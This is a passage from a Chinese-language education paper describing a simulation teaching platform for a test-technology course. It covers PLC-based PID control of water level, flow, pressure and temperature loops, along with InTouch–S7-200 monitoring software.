根據仿真實驗的內容與要求,這里采用機理法建立整個測試控制系統的模型。如圖1所示,實驗系統采用雙泵源,其中一個為液位、壓力和流量控制回路提供能源,另外一個為溫度控制回路的提供能源,且每個泵都有低壓短路、失壓和過載保護。仿真實驗選用的介質為水,12個電磁閥負責控制液流的通斷。在液位、壓力、流量回路中安有電動調節閥,控制系統會根據設定值和傳感器的測量值自動調節閥的開度進行實時控制。下面以液位仿真實驗為例說明各子系統的模型結構和控制過程。
1.模型結構。液位控制子系統模型結構如圖2所示。液位控制實驗開始前,先將手動閥調節到一定開度,液位子系統開始運行時,電磁閥1-3自動打開,泵將水從下水槽抽到上水槽中。上水槽安有液位傳感器,電動調節閥根據傳感器的反饋,調節閥的開度,對上水槽的液位進行控制。
2.控制方框圖。為了使液位快速穩定在目標值,控制系統采用PLC通過PID方法來實現。如圖3所示,液位控制子系統是一個閉環系統,通過PLC的PID模塊,調節閥的開度來控制電動閥的流量,從而改變液位的高度,當液位傳感器檢測到液位實際值,將其反饋給PLC,從而達到控制上水槽液位平衡的目的。
同理,流量、溫度和壓力子系統也采用相同的原理和方法進行建模與控制。
三、仿真實驗的實時監控
為了方便教學,給學生建立直觀、形象的認識,仿真實驗開發了基于InTouch的軟件平臺。InTouch是Wonderware公司的一種工業自動化組態監控軟件,它能高效、快捷地配置用戶的應用程序。
1.InTouch與PLC的通訊。當上位機與PLC通信時,需要分別在InTouch、OPCLink、PC access中進行設定。本實驗選用西門子公司的S7-200型PLC。首先,在InTouch中設定訪問名S7-200,并將標記名設定為I/O型。然后啟動InTouch自帶的IO server--OPCLink工具,并選擇西門子的PC access作為OPC server。在PC access中設定的項目名要與InTouch中的設定一致。設定完成后,在PC access左邊窗口中顯示與上位機對應的項目名,右邊窗口建立上位機于下位機對應地址的聯系,如圖4所示。這時,InTouch與S7-200完成通訊,可以對實驗進行實時監控。
2.仿真軟件的開發與應用。圖5所示為本仿真實驗上位機監控的主界面,在教學中可以根據需要選擇實驗內容。畫面左側,是仿真實驗的整體系統結構圖,右側是四個實驗系統的縮略圖,單擊其任意一個畫面就可進入相應的實驗界面。如圖6所示,在液位檢測控制界面中,可以對當前的液位子系統的狀態進行監控。圖的左側是實時監控畫面,右上方為參數設定區,包括液位高度的設定及PID調節器中增益值、采樣時間、積分時間與微分時間的設定,右下方是液位曲線顯示區。當設定好相關初值后,點單擊“運行”按鈕,左側結構圖能動態顯示液流流動過程,此時圖中的電磁閥由紅色變為綠色,這表示PLC已自動打開相應的電磁閥,液位曲線則表示液位值隨時間變化的值。
在液位監控界面,點擊“歷史趨勢”按鈕,進入“歷史趨勢曲線”界面,可以查看和分析實驗曲線的歷史過程。在實驗操作過程中,為了接近實際生產系統,界面右上角設置了報警燈,對操作過程中泵過載等問題進行報警顯示。
《測試技術與信號分析》可視化仿真實驗平臺是改善該課程教學環境的重要手段。這種動態仿真實驗不但可以靈活安排在課堂教學中,豐富教學內容,有效改善理論教學和實驗教學相脫節的現狀,彌補實驗設備和實驗教學環節的不足,而且能將枯燥、抽象的知識點變得生動、形象,有效激發學生的學習興趣,提高教學和學習效率,取得較好的教學效果。
參考文獻:
[1]楊三青,王仁明,曾慶山.過程控制[M].武漢:華中科技大學出版社,2008.
[2]齊臣坤,李少遠.液位過程控制系統的設計與實現[J].東南大學學報(自然科學版),2003.
[3]孫洪程,魏杰,王儉編譯.過程自動檢測與控制技術[M].北京:化學工業出版社,2007.
[4]王力涵.過程控制系統仿真平臺的設計:[學位論文].青島:山東科技大學,2009.
[5]黃忠霖編譯.自動控制原理的MATLAB實現[M].北京:國防工業出版社,2007.
[6]尹一鳴.基于LabVIEW和PLC的過程控制系統的設計.儀表技術與傳感器[J],2010(3):39-41.
[7]方,虎恩典,李帥,李曉婷.西門子PLC與組態王在葡萄酒發酵過程控制系統中的應用.制造業自動化[J],2011(3):39-43.
[8]InTouch用戶指南.Wonderware公司[Z].